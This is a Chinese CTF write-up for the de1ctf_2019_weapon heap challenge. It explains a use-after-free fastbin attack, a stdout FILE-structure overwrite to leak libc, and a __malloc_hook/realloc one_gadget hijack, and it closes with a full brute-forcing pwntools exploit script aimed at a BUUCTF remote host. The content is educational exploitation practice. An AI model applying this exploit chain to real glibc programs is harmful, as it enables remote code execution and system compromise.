buu刷题记录—de1ctf_2019_weapon

静态分析

checksec一波,保护全开,ida分析,发现时经典的堆菜单题目。有add,delete和edit操作,没有show函数,并且保护全开无法劫持got表。那么这题大概率是要用IO来泄露libc了。

add函数把堆块申请范围限制在了0x60以内,也就是说我们只能申请fastbin大小的堆块。edit函数就是中规中矩的按照之前的size修改堆块的内容。delete函数在堆块被free之后没有把指针置空存在UAF的漏洞。那么我们的思路大概就是先通过uaf进行堆块重叠然后修改size,free之后得到一个unsorted bin,然后再修改回fastbin将它申请到stdout附近通过IO泄露libc地址,最后再来一次fastbin attack劫持malloc hook放上onegadget 去getshell,这题需要用realloc 调整栈来适应onegadget,我们后面再说。

泄露libc的地址

因为地址都是未知的,所以一开始要通过释放两个相同大小的fastbin来让其中一个fastbin中留下另一个fastbin的地址,再通过修改最后一字节让fastbin的fd来让第二个chunk申请到可以造成堆重叠的地方便于我们修改size。

1
2
3
4
5
6
7
8
add(0x58,0,b'a'*0x48+p64(0x61))#在合适的地方伪造chunk
add(0x60,1,b'a')
add(0x18,2,b'a')
add(0x58,3,b'a')

free(1)#提前free让fastbin中存在这个chunk
free(3)
free(0)

可以看到第一个chunk的fd已经有了第四个chunk的地址,并且在第一个堆块中存在一个伪造的0x61作为fake chunk的size,所以接下来我们只要edit 0 50就能够产生fastbin attack了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
edit(0,p8(0x50))

add(0x58,4,b'a')
add(0x58,5,b'a'*8+p64(0x91))#修改第二个堆块的size

free(1)#释放unsorted bin 让bin的fd中留下libc的地址
edit(1,p16(0xa5dd))

edit(5,b'a'*8+p64(0x71))
add(0x60,6,b'a')
add(0x60,7,b'\0'*0x33+p64(0xfbad1887)+p64(0)*3+b'\0')

libc_addr=u64(p.recvuntil(b'\x7f',timeout=0.5)[-6:]+b'\0\0')-0x3c5600
success('libc_addr:'+hex(libc_addr))

这一波操作就能成功泄露libc了,但是由于内存页是后三位对齐,我们填充是以字节为单位的,所以这里需要爆破一半个字节。

劫持malloc_hook

这里没什么好说的,就是通过uaf的方法把堆块申请到malloc_hook-0x23的地方,写mallochook为reallochook,再把realloc hook写上对应的one gadget,这里需要注意的是realloc不一定直接就行了,需要适当跳过一些push或这pop之类的指令来调整栈中的0到合适的位置,这里我用了第2个onegadget,用realloc + 4的地方来调整栈

1
2
3
4
5
6
7
8
9
10
#one=[0x45226,0x4527a,0xf03a4,0xf1247]
one=[0x45216,0x4526a,0xf02a4,0xf1147]

free(1)
edit(1,p64(libc_addr+libc.sym['__malloc_hook']-0x23))
add(0x60,1,b'a')
add(0x60,8,b'a'*0xb+p64(libc_addr+one[1])+p64(libc_addr+libc.sym['realloc']+4))
p.sendlineafter(b'choice >>',b'1')
p.sendlineafter(b'weapon: ',str(1))
p.sendlineafter(b'index: ',str(1))

exp

最后附上爆破的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *

#context.log_level='debug'
context.arch='amd64'
context.os='linux'
def conn(x,file_name):
if x:
p=process(file_name)
libc=ELF('./libc/libc-2.23-64.so')
else:
p=remote('node4.buuoj.cn',29410)
libc=ELF('./libc/libc-2.23-buu64.so')
return ELF(file_name),libc,p

def add(size,index,name):
p.sendlineafter(b'choice >>',b'1')
p.sendlineafter(b'weapon: ',str(size))
p.sendlineafter(b'index: ',str(index))
p.sendafter(b'name:',name)



def free(index):
p.sendlineafter(b'choice >>',b'2')
p.sendlineafter(b'idx :',str(index))

def edit(index,payload):
p.sendlineafter(b'choice >>',b'3')
p.sendlineafter(b'idx: ',str(index))
p.sendafter(b'content:',payload)

def pwn():
global p
elf,libc,p=conn(0,'./de1ctf_2019_weapon')

add(0x58,0,b'a'*0x48+p64(0x61))
add(0x60,1,b'a')
add(0x18,2,b'a')
add(0x58,3,b'a')

free(1)
free(3)
free(0)
#gdb.attach(p)
edit(0,p8(0x50))

add(0x58,4,b'a')
add(0x58,5,b'a'*8+p64(0x91))

free(1)
edit(1,p16(0xa5dd))

edit(5,b'a'*8+p64(0x71))
add(0x60,6,b'a')
add(0x60,7,b'\0'*0x33+p64(0xfbad1887)+p64(0)*3+b'\0')

libc_addr=u64(p.recvuntil(b'\x7f',timeout=0.5)[-6:]+b'\0\0')-0x3c5600
success('libc_addr:'+hex(libc_addr))

#one=[0x45226,0x4527a,0xf03a4,0xf1247]
one=[0x45216,0x4526a,0xf02a4,0xf1147]

free(1)
edit(1,p64(libc_addr+libc.sym['__malloc_hook']-0x23))
add(0x60,1,b'a')
add(0x60,8,b'a'*0xb+p64(libc_addr+one[1])+p64(libc_addr+libc.sym['realloc']+4))
p.sendlineafter(b'choice >>',b'1')
p.sendlineafter(b'weapon: ',str(1))
p.sendlineafter(b'index: ',str(1))
p.interactive()

if __name__=='__main__':
while 1:
try:
pwn()
except:
p.close()

结果